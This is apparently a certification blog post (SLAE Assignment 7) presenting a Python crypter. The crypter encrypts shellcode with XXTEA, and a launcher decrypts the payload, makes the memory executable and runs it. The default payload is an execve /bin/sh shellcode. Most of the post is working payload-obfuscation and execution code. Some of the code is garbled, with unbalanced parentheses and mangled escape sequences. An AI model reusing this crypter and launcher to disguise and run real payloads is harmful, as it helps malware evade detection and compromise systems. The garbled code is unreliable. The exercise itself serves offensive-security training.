Vai al contenuto
Home » Assignment #7: Create a custom crypter

Assignment #7: Create a custom crypter

The seventh and last assignment is to create a custom crypter like the one shown in the “crypters” video. I’m free to use any existing encryption schema and I can use any programming language.

The assignment was written on an Ubuntu Linux 18.04, with a Linux kernel 4.15 version.

Choosing the encryption scheme

For this last assignment I want to use something quick and reliable to encrypt any evil payload. I started looking at TEA for its characteristics and implementations.

I choose to use XXTEA that it is an evolution of original algorithm to correct all weaknesses found.

This is a symmetric block cipher and the key must be 16 bytes long.

Environment

I will use python as programming language and the xxtea package that it is available with the following command:

pip install xxtea

Encrypt

The default behaviour is to select a 16 bytes long random key and use xxtea library facilities to encrypt the default shellcode that is the standard execve() shellcode used in assignment 4.

However, the crypter tool accepts also a custom encryption key and a custom shellcode to be used instead of the default one.

Here you can find the source code for the crypter script:

#!/usr/bin/env python  import random, string, getopt, xxtea, sys  def help():     print sys.argv[0] + " [options]"     print "Valid options:"     print "t-h, --help: show this help"     print "t-k, --key: specify the encryption key"     print "t-s, --shellcode: specify the shellcode to be used"      return 0  def generate_key():     k=''.join(random.choice(string.ascii_uppercase + string.ascii_lowercase + string.digits) for _ in range(16     return k  def encrypt(shellcode, key):     enc = xxtea.encrypt(shellcode, key     return enc  def main(argv):     # Default behaviour is to generate a random key and to use an     # execve("/bin/sh") shellcode     key = generate_key     shellcode = "x31xc0x50x68x2fx2fx73x68x68x2fx62x69x6ex89xe3x31xc9x31xd2xb0x0bxcdx80"      try:         opts, args=getopt.getopt(argv, "hk:s:", ["help", "key", "shellcode"] )     except getopt.GetoptError:         help()         sys.exit(1)      for opt, arg in opts:         if opt in ('-h', '--help'):             help()             sys.exit(0)         elif opt in ('-k', '--key'):             key=arg             if (len(key) != 16):                 print "The encryption key must be 16 byte long"                 help()                 sys.exit(-2)         elif opt in ('-s', '--shellcode'):             shellcode=arg.replace('\x', '').decode('hex')      print "key: " + key     enc = encrypt(shellcode, key)     sys.stdout.write("encrypted shellcode: \x"     sys.stdout.flush     print '\x'.join(map("%2.2x".__mod__, map(ord, enc)));  if __name__ == "__main__":     main(sys.argv[1:])

Decrypt and launch

The launcher script is responsible for decrypting a given payload using a given decryption key. It may be redundant to recall but, since XXTEA is a Symmetric Cryptography algorithm, the decryption key is the one used to crypt the shellcode.

#!/usr/bin/env python # Got rid of SEGFAULT using the solution provider here: # https://stackoverflow.com/questions/19326409/python-ctype-segmentation-fault  import random, string import xxtea import sys, time import getopt import fileinput from ctypes import *  def help():     print sys.argv[0] + " [options]"     print "Valid options:"     print "t-h, --help: show this help"     print "t-k, --key: specify the decryption key"     print "t-e, --encrypted-shellcode: specify the encrypted payload"      return 0  def decrypt(enc, key):     return xxtea.decrypt(enc, key)  def main(argv):      key = ""     enc = ""      try:         opts, args=getopt.getopt(argv, "hk:e:", ["help", "key", "encrypted-shellcode"] )     except getopt.GetoptError:         help()         sys.exit(1)      for opt, arg in opts:         if opt in ('-h', '--help'):             help()             sys.exit(0)         elif opt in ('-k', '--key'):             key=arg         elif opt in ('-e', '--encrypted-shellcode'):             enc = arg       if not key:         print "Please specify a decryption key using the -k flag"         help         sys.exit(-2      if not enc:         print "Please specify a payload to decrypt using the -e flag"         help         sys.exit(-3        enc_b= enc.replace('\x', '').decode('hex')      shellcode_data=decrypt(enc_b, key     sys.stdout.write("decrypted shellcode: \x")     sys.stdout.flush()     print '\x'.join(map("%2.2x".__mod__, map(ord, shellcode_data)))      print "launching the shellcode..."       shellcode=create_string_buffer(shellcode_data)     function  = cast(shellcode, CFUNCTYPE(None))      addr = cast(function, c_void_p).value     libc = CDLL('libc.so.6')     pagesize = libc.getpagesize()     addr_page = (addr // pagesize) * pagesize      for page_start in range(addr_page, addr+len(shellcode_data), pagesize):         assert libc.mprotect(page_start, pagesize, 0x7) == 0     function()      if __name__ == "__main__":     main(sys.argv[1:])

Launching the shellcode is really hard stuff. I’ve to fight against tons of SEGFAULTS and this post saved me in getting rid of non executable bit protection for memory regions: https://stackoverflow.com/questions/19326409/python-ctype-segmentation-fault.

See it in action:

SLAE Exam Statement

This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification:

http://securitytube-training.com/online-courses/securitytube-linux-assembly-expert/

Student ID: SLAE-1217

Lascia un commento

Il tuo indirizzo email non sarà pubblicato.